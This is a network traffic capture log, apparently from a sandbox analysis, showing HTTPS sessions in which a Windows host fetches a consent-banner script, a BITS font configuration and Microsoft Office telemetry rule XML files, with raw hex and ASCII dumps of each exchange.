2024-11-16 03:33:39 UTC	16384	IN	Data Raw: 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c Data Ascii: or"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:hover::after {\n background-color: "+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + l
2024-11-16 03:33:39 UTC	4278	IN	Data Raw: 65 6d 65 6e 74 42 79 49 64 28 22 77 63 70 43 6f 6e 73 65 6e 74 42 61 6e 6e 65 72 43 74 72 6c 22 29 7d 2c 65 2e 65 6d 69 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 74 5b 6f 2d 31 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 3b 76 61 72 20 6e 3d 74 68 69 73 2e 65 76 65 6e 74 73 5b 65 5d 3b 6e 26 26 6e 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 74 29 7d 29 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 65 2e 61 64 64 45 76 65 6e 74 Data Ascii: ementById("wcpConsentBannerCtrl")},e.emit=function(e){for(var t=[],o=1;o<arguments.length;o++)t[o-1]=arguments[o];var n=this.events[e];n&&n.forEach((function(e){e.apply(null,t)}))},e.prototype.addEventListener=function(e,t,o){e.addEventListener?e.addEvent

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49769	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:33:39 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-16 03:33:39 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=133923 Date: Sat, 16 Nov 2024 03:33:39 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-16 03:33:39 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:33:55 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:33:56 UTC	471	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:33:55 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Thu, 14 Nov 2024 16:27:56 GMT ETag: "0x8DD04C94BD1CD28" x-ms-request-id: ffb18316-701e-0098-4bed-36395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033355Z-164f84587bfn7ppchC1DFW0meg00000001hg00000000hkac x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:33:56 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-16 03:33:56 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-16 03:33:56 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-16 03:33:56 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-16 03:33:56 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-16 03:33:56 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-16 03:33:56 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-16 03:33:56 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-16 03:33:56 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-16 03:33:56 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:33:57 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:33:57 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:33:57 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 18edf7b2-e01e-0003-11a0-340fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033357Z-164f84587bfsqsthhC1DFWh63000000001d00000000050u6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:33:57 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:33:57 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:33:57 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:33:57 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 6c84f393-101e-007a-65a5-36047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033357Z-16547b76f7fd4rc5hC1DFWkzhw00000002fg00000000fe3w x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:33:57 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:33:57 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:33:57 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:33:57 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 31be6f69-e01e-00aa-387f-37ceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033357Z-1866b5c5fbbfhwqqhC1DFW513800000001mg00000000d5yt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:33:57 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:33:57 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:33:57 UTC	517	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:33:57 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: dcc6854f-e01e-0051-7b03-2d84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033357Z-16547b76f7fkf5v9hC1DFW2y5s000000024g000000008pua x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:33:57 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 